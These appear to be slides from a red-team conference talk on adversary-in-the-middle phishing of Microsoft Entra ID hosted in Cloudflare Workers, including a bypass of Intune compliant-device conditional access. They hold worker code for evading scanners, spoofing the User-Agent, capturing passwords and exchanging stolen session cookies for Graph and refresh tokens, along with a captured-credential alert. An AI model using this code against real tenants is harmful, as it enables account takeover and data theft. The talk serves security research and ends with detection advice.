



# **Payload-less Initial Access leveraging cloud workers & conditional access bypass**

**Sunny Chau & Tom Ellson**

**2025**

# Who are we

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# Agenda

- Recap on AiTM & CAP Bypasses
- Leveraging TokenSmith
- AiTM inside of Cloudflare workers
- War Stories
- Detection and Further Thoughts

# AiTM – What is it and why care?




## AiTM Phishing

- TI relevant – SS are you with us today in the audience?
- Not easy to detect / block
- Gets the actor a ton of access

# AiTM Flow for Microsoft Entra ID

- User lured to AiTM site
  - usually behind Cloudflare or proxy service
- User enters credentials and MFA.
- Malicious Server intercepts the returning ESTS\* cookies for authentication




# AiTM Flow for Microsoft Entra ID

User returned to attacker-controlled redirection site

Attacker Imports ESTS\* Tokens into the browser for session theft

OAUTH Flow for swapping the ESTS\* cookie for Graph and Refresh tokens through the OAUTH Flow





# ESTSAUTH Tokens

Wednesday, July 2nd



PhishingData APP 1:42 PM

🎯 Pwned - Password received!

User: derpy.1

Password: A password here

Note: The 1st cookie below is unlikely to provide you access unless they have no 2FA.


The 2nd cookie will contain the 2FA data and the 3rd one the 2FA + 'Stay signed in' data.

🍪 Cookies found!

esctx-jQZDvhRHY4=; domain=.login.microsoftonline.com; expires=Tue, 01-Jul-2025 12:42:33 GMT; path=/; SameSite=None;  
ESTSAUTHPERSISTENT=1.AUEBe6mZqbzPUkCgIYFUh6CA8VtEZUfGMrBJg-

# Session Theft

```
te@tdejmp:/mnt/c/Users/te/Downloads$ cat oi.cok  
[REDACTED]; domain=.login.microsoftonline.com; expires=Tue, 17-  
ESTSAUTHPERSISTENT=1.ATs, [REDACTED]
```






# AiTM Common Toolkits


- Modlishka - <https://github.com/drk1wi/Modlishka>
- Evilginx2 - <https://github.com/kgretzky/evilginx2>
- NecroBrowser - <https://github.com/muraenateam/necrobrowser>

```
Modlishka
>>>> "Modlishka" Reverse Proxy started - v.1.1 <<<<
Author: Piotr Duszynski @drk1wi


Listening on [0.0.0.0:443]
Proxying HTTPS [google.com] via [https://loopback.modlishka.io]
Listening on [0.0.0.0:80]
Proxying HTTP [google.com] via [http://loopback.modlishka.io]
```




# Real Word Examples Of Custom Kits



## Phishing Related Indicators (1)





## Phishing Related Indicators (2)



**www.microsoftonline.com**

Please stand by, while we are cheking if the site connection is secure


☐ Verify you are human



Did you know there are Verified Bots that are allowed around the internet because they help provide services we use day to day?

Microsoft needs to review the security of your connection before proceeding.

# Adversary In The Middle (AiTM)



# Fingerprinting

```
56 </style>
57 </head>
58 <body class="delivered" id="z5HkSR201x">
59   <header>
60     <h1>Food <a class="z5HkSR201x"></a> Delivery <a class="z5HkSR201x"></a>
61   </header>
62   <div class="z5HkSR201x container">
63     <!-- Food Section -->
64     <div class="section">
65       <h2>Food</h2>
66       <p>Explore a variety of delicious food options including appetizers,
67     <ul>
68       <li>Appetizers: Bruschetta, Stuffed Mushrooms, Garlic Bread</li>
69       <li>Main Courses: Spaghetti Carbonara, Grilled Chicken, Vegetarian Lasagna</li>
70       <li>Desserts: Tiramisu, Cheesecake, Chocolate Lava Cake</li>
71     </ul>
72   </div>
73   <!-- Drink Section -->
74   <div class="z5HkSR201x section">
75     <h2>Drinks</h2>
76     <p>Discover a range of beverages to complement your meal, including soft drinks,
77     <ul>
78       <li>Soft Drinks: Cola, Lemonade, Iced Tea</li>
79       <li>Cocktails: Margarita, Mojito, Cosmopolitan</li>
80       <li>Coffee: Espresso, Cappuccino, Latte</li>
81     </ul>
82   </div>
83 </div>
84 <footer>
85   <p>© 2025 Food and Drink Info. All rights reserved.
86 </footer>
87 </body>
88 <script>
89   window.location.reload();
90 </script>
```

HTML Title Displaying a page...

Response Body

EXPAND

# Food and Drink Information

## Food

Explore a variety of delicious food options including appetizers, main courses, and desserts.

- \* Appetizers: Bruschetta, Stuffed Mushrooms, Garlic Bread
- \* Main Courses: Spaghetti Carbonara, Grilled Chicken, Vegetarian Lasagna
- \* Desserts: Tiramisu, Cheesecake, Chocolate Lava Cake

## Drinks

Discover a range of beverages to complement your meal, including soft drinks, cocktails, and coffee.

- \* Soft Drinks: Cola, Lemonade, Iced Tea
- \* Cocktails: Margarita, Mojito, Cosmopolitan
- \* Coffee: Espresso, Cappuccino, Latte


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# Tracking / Hunting

## Hosts

Results: 298 Time: 0.28s

 **31.214.157.179**

⚙️ Ubuntu Linux  RACKPLACE (58329)  South Holland, Netherlands



[remote-access](#) [default-landing-page](#)

>\_ 22/SSH

 80/HTTP

 443/HTTP

 **31.214.157.175**

⚙️ Ubuntu Linux  RACKPLACE (58329)  South Holland, Netherlands



[default-landing-page](#) [remote-access](#)

>\_ 22/SSH

 80/HTTP

 443/HTTP

 **64.23.219.212**

⚙️ Ubuntu Linux  DIGITALOCEAN-ASN (14061)  California, United States

[remote-access](#) [default-landing-page](#)

>\_ 22/SSH

 80/HTTP

 443/HTTP

Results 360 Filter: Past month

**170.205.52.161 / 443 / N/A** [View Detail](#)



Location:	Header	App/Product	200	2025-04-01 GMT +8
United States	HTTP/1.1 200 OK Set-Cookie: PHPSESSID=kga22ds11psjqupq6qgassbbj; path=/ Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type			
Web Title:	Displaying a page...			
Protocol:	https			
Trans Protocol:	tcp			

**147.182.193.35 / 443 / rlpn.xyz** [View Detail](#)

Location:	Header	App/Product	200	2025-03-31 GMT +8
Santa Clara, United States	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:06:59 GMT Pragma: no-cache Vary: Accept-Encoding Server: Apache/2.4.52 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate			
Web Title:	Displaying a page...			
Protocol:	https			
Trans Protocol:	tcp			



# Further analysis




# Preventative Controls - Conditional Access Policies (CAP)


# What are Entra ID CAPs?

## CAP In a Nutshell:

- Hole is for users
- Yellow wall for bad guys



# Pictorially




# How do CAPs protect identities?

Something the **user** possesses

**But**

The AiTM server, and the Adversary does **not**





## Identity Sigil



## Artifact

“Something the user possesses  
But The AiTM server, and the  
Adversary does not.”

Grants immunity to credential replay  
and phishing illusions upon proof-  
of-possession.

# What are those legendary things?



**Compliant or hybrid Azure AD  
joined device**



Public Key challenge  
("phishing-resistant MFA")


Special ingress IP


..and weaker things like geolocation, client ID,  
User Agent string




# TokenSmith Detour -A story of bypassing the Compliant device boundary

**Sunny Chau** • You  
Red teamer @JUMPSEC | OSCP CRT0  
2mo • Edited • 


 PoC Tooling Release & Upcoming Webinar   
We @JUMPSEC Labs are excited to release a new #EntralD offensive tool -  
TokenSmith - that demonstrates how to bypass #Intune company-compliant device  
conditional access policy to run additional offensive tooling.

 Tom Ellson (ChCSP) and 1,649 others  
59 comments • 258 reposts


 186,074 impressions [View analytics](#)

Most relevant ▾

**Benjamin Jones** • 1st  
Managed SaaS Alerts Director  
1mo ...

Thank you for this [Sunny Chau](#). I made a video this afternoon after  
experimenting with this project a bit. I don't think I've even scratched the  
surface. <https://youtu.be/gjPuAUYYRg0>

 Bypass Intune Compliant Device Conditional Access  
Using TokenSmith and ROADtools

## Video performance

70,748

Video Views

246h 13m

Watch time

12s

Average watch time

(post drop – 27<sup>th</sup> Dec)

(which was day after Boxing day ....)



# December whispers

- **HINT 1:**
  - **Client ID: '9ba1a5c7-f17a-4de9-a1f1- 6178c8d51223'**
- **HINT 2:**
  - **[Intune Company Portal]**



# OAuth2 mechanism & RTFM

Updated by: [8252](#), [8996](#), [9700](#)

Internet Engineering Task Force (IETF)

Request for Comments: 6749

Obsoletes: [5849](#)

Category: Standards Track


ISSN: 2070-1721

Errata Exist

D. Hardt, Ed.

Microsoft

## The OAuth 2.0 Authorization Framework



Note: The lines illustrating steps (A), (B), and (C) are broken into two parts as they pass through the user-agent.

Figure 3: Authorization Code Flow

# Message after RTFM

- Redirect URI is not Arbitrary
- Microsoft doesn't publish their first party App redirectors
- So, this is probably the main thing we need to reverse engineer

# How would you approach this?

**WHAT** – being able to run offensive tools

**HOW** - Authenticate into Entra ID with compliant device CAP, without using a compliant device




The red team, using a Microsoft 0-day on the next engagement

# Approach one – device code

Because .. it has the name 'device' in it

You can specify client ID when initiating a device code sign in



The screenshot shows a web browser window with the address bar displaying `login.microsoftonline.com/common/oauth2/deviceauth`. The page content includes the Microsoft logo, the heading "Enter code to allow access", and a subtext: "Once you enter the code displayed on your app or device, it will have access to your account." Below this is a warning: "Do not enter codes from sources you don't trust." A text input field labeled "Code" is present, followed by a blue "Next" button.

# We're blocked

Review of logs:

- Did not satisfy the CAP



derpy.fonder


## Help us keep your device secure

Your sign-in was successful, but your admin requires the device that's requesting access to be managed by Entra Research to access this resource.

[More details](#)

# Approach 4 – Trying to get TLS layer HTTP proxy working

- Burp suite
- System proxy
- CA cert





# Okay – System level https proxy working

The image shows a web browser's developer tools interface with the 'Request' tab selected. The request details are as follows:

Request	Response
1 GET / HTTP/2	1 HTTP/2 200 OK
2 Host: example.com	2 Accept-Ranges: bytes
3 User-Agent: PowerOfLoveAndFriendShip	3 Content-Type: text/html
4 Accept-Encoding: gzip, deflate, br	4 Etag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"
	5 Last-Modified: Mon, 13 Jan 2025 20:11:20 GMT
	6 Vary: Accept-Encoding
	7 Content-Length: 1256
	8 Cache-Control: max-age=1959
	9 Date: Sat, 01 Mar 2025 15:33:05 GMT
	10 Alt-Svc: h3=":443"; ma=93600, h3-29=":443"; ma=93600, quic=":443"; ma=93600; v="43"



The PowerShell terminal window shows the command and its output:

```
PS > iwr https://example.com -UserAgent 'PowerOfLoveAndFriendShip'
```

```
StatusCode      : 200
StatusDescription : OK
Content         : <!doctype html>
```

A red arrow points from the 'User-Agent' header in the browser's request tab to the 'UserAgent' parameter in the PowerShell command.

# But for what we needed ... it did not work out





Reason?  
mTLS check?

Proxy  
detection?

# Google to the rescue

There must be those with enterprise SSL HTTP proxy with same issue?




ZeroTouch.ai

### Supercharged Real-time Intune Companion

- Install & Auto update 15K Apps
- Intuitive, sequenced, & optimized Autopilot
- Remote Desktop & Remote Shell

Single-Tenant | M



## FIX Intune Company Portal App Login Issues with Windows 10/11

Last Updated: August 6, 2024 by Anoop C Nair

Intune **Company Portal App Login Issues** with Windows 11 or Windows 10 Devices? Have you tried **Repair** or Reset Company Portal App to fix the issue? The Intune company portal **application** is no

Logged at webaccountprocessor.cpp, line: 233, method: AAD::Core::WebAccountProcessor::ReportOperationError.

### Error: 0xCAA82EE2 The request has timed out.

Log Name: Microsoft-Windows-AAD/Operational

Source: Microsoft-Windows-AAD

Date: 15/07/2020 16:00:58

#### Event ID: 1098

Task Category: AadTokenBrokerPlugin Operation

Level: Error

Keywords: Operational,Error

User:

Computer:

Description:

**Error: 0xCAA82EE2 The request has timed out.**

**Exception of type 'class HttpException' at xmlhttpwebrequest.cpp, line: 163, method:**

**XMLHTTPWebRequest::ReceiveResponse.**

Log: 0xcaa10083 Exception in WinRT wrapper.

Logged at authorizationclient.cpp, line: 233, method: ADALRT::AuthorizationClient::AcquireToken.


Request: authority: **https://login.microsoftonline.com/common**, client: 8ba1a5c7-f19a-5de9-a1f1-

7178c8d51343, redirect URI: **ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-**

**1750391847-2906264630-3525785777-2857982319-3063633125-1907478113**

wait what?

Demo time



# The shadow patch

- **Roughly 20<sup>th</sup> Feb 2025** Microsoft quietly reduced the scope for the token you could get from company portal
- Noticeably narrower than the original, notably only on top of the Intune related ones:
  - **ServicePrincipalEndpoint.Read & User.Read**
- Also, Tokensmith's executable has become 'malware'

# So ... we've covered Token-Flare

**Now show me the payload-less initial access!**



?



?



?

Yes





# Cloudflare Workers

Serverless JavaScript functions that run at the edge - on Cloudflare's global network. They allow developers to run logic close to users

Great work has gone into replicating AiTM flows inside of Cloudflare workers (<https://zolder.io/>)

- <https://zolder.io/blog/aitm-attacks-using-cloudflare-workers/>
- <https://github.com/zolderio/AITMWorker>




# The Adversary's Perspective

- workers.dev is the domain name used, pages.dev is another beast
- The attacker controls part of the subdomain:
  - Example: **test-op-orange.<controlledbyattacker>.workers.dev**
  - Workers.dev & Pages.dev has a high level of reputation and is being widely abused
- The attacker can set up a Custom Domain
  - CNAME records are created based off of the worker address

## Hunting Tip:

Free Cloudflare Accounts use the Email Address as a subdomain **(by default)**

# Cloudflare Workers



# Improving Capabilities – What We Wanted

- OPSEC safe deployments
- **Token exchange** to obtain Graph and Refresh Token natively
- Modular FOIC client ID'S toggled based application scope
- Toggling MSGRAPH & AADGRAPH
- CAP Manipulation (Device Based Requirements – Intune bypass)
- AITM inside of CF for SAML applications



# Operational Security

```
if (!incoming_url.includes(COMPANY_NAME) && !referer.includes(COMPANY_NAME)
    && !incoming_url.includes('kmsi') && !referer.includes('kmsi')) {
    response = new Response('Access denied.', {
        status: 403
    });
    return response;
}

//Add the url that you want to finally redirect to via the REDIRECT_URL variable
if(incoming_url.includes('kmsi') || referer.includes('kmsi')){
    const redirectUrl = REDIRECT_URL;
    const statusCode = 301;
    const destinationURL = `${redirectUrl}`;
    console.log(destinationURL);

    return Response.redirect(destinationURL, statusCode);
}
```


```
//block specific bot IP ranges
blockedIPs.forEach(blockedIP => {
    if (ip_address.includes(blockedIP)) {
        response = new Response('Access denied.', {
            status: 403
        });
        return response;
    }
});

//block specific bot AS Orgs
if(ENABLE_AS_ORG_CHECK == true){
    blockedAsOrganizations.forEach(blockedAS => {
        if (asOrganization.includes(blockedAS)) {
            response = new Response('Access denied.', {
                status: 403
            });
            return response;
        }
    });
}

//check if a real browser is being used
if(ENABLE_MOZILLA_CHECK == true){
    //check that it has some sort of regular browser text
    if (!user_agent.includes('mozilla/5.0')) {
        response = new Response('Access denied', {
            status: 403
        });return response;
    }
}
```

```
if(ENABLE_CHROME_CHECK == true){
    if ((user_agent.includes('chrome') || user_agent.includes('firefox')) && !user_agent.includes('edg')) {
        // Display a custom HTML page asking the user to use Microsoft Edge
        const html = `
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Please Use Microsoft Edge</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                    margin: 0;
                    background-color: #f0f0f0;
                }
                .message {
                    text-align: center;
                    padding: 20px;
                    background: white;
                    border: 1px solid #ccc;
                    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
                }
            </style>
        </head>
        <body>
            <div class="message">
                <div class="logo">
                    
                </div>
                <p>For the best user experience please use Microsoft Edge</p>
            </div>
            <script>
                document.addEventListener('DOMContentLoaded', function() {
                    setTimeout(function() {
                        window.location.href = 'microsoft-edge:${request.url}';
                    }, 2000);
                });
            </script>
        </body>
        </html>`
    }
```

# Conditional Access (Specific Devices)



derpy [REDACTED]

## You cannot access this right now

Your sign-in was successful but does not meet the criteria to access this resource. For example, you might be signing in from a browser, app, or location that is restricted by your admin.

[Sign out and sign in with a different account](#)

[More details](#)

### Troubleshooting details

If you contact your administrator, send this info to them.

[Copy info to clipboard](#)

**Error Code:** 53003  
**Request Id:** e8d0d083-f242-4785-abf6-f7a62b4afe00  
**Correlation Id:** 354dd91e-394b-4ebf-bbd5-be983f7af788  
**Timestamp:** 2025-07-14T15:34:00.710Z  
**App name:** OfficeHome  
**App id:** 4765445b-32c6-49b0-83e6-1d93765276ca  
**IP address:** [REDACTED]  
**Device identifier:** Not available  
**Device platform:** Windows 10  
**Device state:** Unregistered

**Flag sign-in errors for review:** [Enable flagging](#)

If you plan on getting help for this problem, enable flagging and try to reproduce the error within 20 minutes. Flagged events make diagnostics available and are raised to admin attention.

# Adjusting The Flow - User-Agent Manipulation


**Controlling the User Agent** – We can control where Microsoft thinks we are authenticating from

```
//All checks are now complete so proceed
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);
new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.protocol + '//' + url.hostname);
new_request_headers.set('User-Agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15');
// Obtain password from POST body
if (request.method === 'POST') {
  const temp_req = await request.clone();
  var body = await temp_req.text();
  const keyValuePairs = body.split('&');
  var password = "";
  var message = "\n*****\n";
  message = message + ":dart: *Pwned - Password received!*\\n\\n"
```

Imagine a CAP is in place to enforce Windows compliant devices, however, allows unmanaged IOS and MACOS Devices, using this we can satisfy the CAP



# Adjusting the flow



The screenshot shows the Microsoft Security Info page in a web browser. The page title is "Security info" and it states, "These are the methods you use to sign into your account or reset your password." Below this, it says, "You're using the most advisable sign-in method where it applies." and "Sign-in method when most advisable is unavailable: Microsoft Authenticator - notification [Change](#)".

There is a section titled "+ Add sign-in method" followed by a table of existing sign-in methods:

Sign-in method	Device	Actions
Phone		<a href="#">Change</a> <a href="#">Delete</a>
Password	Last updated: 6 months ago	<a href="#">Change</a>
Microsoft Authenticator Push multi-factor authentication (MFA)	iPhone 16 Pro	<a href="#">Delete</a>
Microsoft Authenticator Push multi-factor authentication (MFA)	iPhone 13	<a href="#">Delete</a>

At the bottom, there is a link: "Lost device? [Sign out everywhere](#)".

A dropdown menu is open on the right side of the page, showing various operating systems and browsers. The "Macos" option is selected and highlighted with a red box. The menu categories are: Windows / IE 11, Windows / Edge 133, Windows / Chrome 134, Windows / Firefox 128 ESR, Mobile, Bot, and Other. The "Macos" option is under the "Other" category.

# Abusing the Intune Flow (Inside the Worker)

```
// ...
const NewHeaders = new Headers();
NewHeaders.append("Cookie", useable_cookies);
NewHeaders.append("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
const OAUTHURL = "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223&resource=" + REFRESH_RESOURCE + "&redirect_uri=ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113&state=dfacd1ed-458c-4fbe-96a8-629496dbc754&sso_reload=true"
const responsey = await fetch(OAUTHURL, {
  method: 'GET',
  headers: NewHeaders
});
const ResponseHeaders = responsey.headers;
const MSHEADER = ResponseHeaders.get("X-Ms-Request-Id");
const text = await responsey.text();
const sFT = /"sFT":\s*"([^\"]+)"/; // Match only the first instance
const sCtx = /"sCtx":\s*"([^\"]+)"/; // Match only the first instance
const canary = /"canary":\s*"([^\"]+)"/; // Match only the first instance
const matchsFT = text.match(sFT);
const matchsCtx = text.match(sCtx);
const matchcanary = text.match(canary);
const mm = matchcanary[1]
const refresh_code = url.searchParams.get('code');
```

```
// Create a URL object (add a dummy base if it's a relative URL)
const url = new URL(redirectUrl, "https://login.microsoftonline.com");
const refresh_code = url.searchParams.get('code');
//console.log('URL Path:', url.pathname);
```


```
const newbody = {
  "resource": REFRESH_RESOURCE,
  "client_id": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
  "grant_type": "authorization_code",
  "redirect_uri": "ms-appx-web://Microsoft.AAD.BrokerPlugin/S-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113",
  "code": refresh_code,
  "scope": "openid"
};
```

# Modular FOCI & Refresh


```
if(REFRESH_FOCI == "true"){
  const headerstoken = new Headers();
  headerstoken.append("Cookie", useable_cookies);
  headerstoken.append("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
  const Codeswap = "https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=" +
FOCI + "&resource="+ REFRESH_RESOURCE + "&redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient"
  const responseyswap = await fetch(Codeswap, {
    method: 'GET',
    headers: headerstoken,
    redirect: 'manual'
  });
  const response2 = await responseyswap.text();
  const headers = responseyswap.headers;
  if (responseyswap.status >= 300 && responseyswap.status < 400) {
    const redirectUrl = responseyswap.headers.get('Location');
    // const location = headers.get("Location");
  }
}
```

Plaintext	FOCI	00b41c95-dab0-4487-...		
Plaintext	REDIRECT_URL	https://jumpsec.com		
Plaintext	REFRESH_FOCI	true		
Plaintext	REFRESH_INTUNE	false		
Plaintext	REFRESH_RESOURCE	https://graph.windows....		

# Abusing AiTM for SaaS access (1)



# Abusing AiTM for SaaS access (2)



# Detection and Hunting

- Cloudflare Ranges Authentication
- Session Hijacking

## Location

Greater London, GB ⓘ



## Operating System

Windows10

## IP [What is this?](#)

141.101.98.94

## App

Microsoft Intune Company Portal

## Account

derpy. [REDACTED]

[Look unfamiliar? Secure your account](#)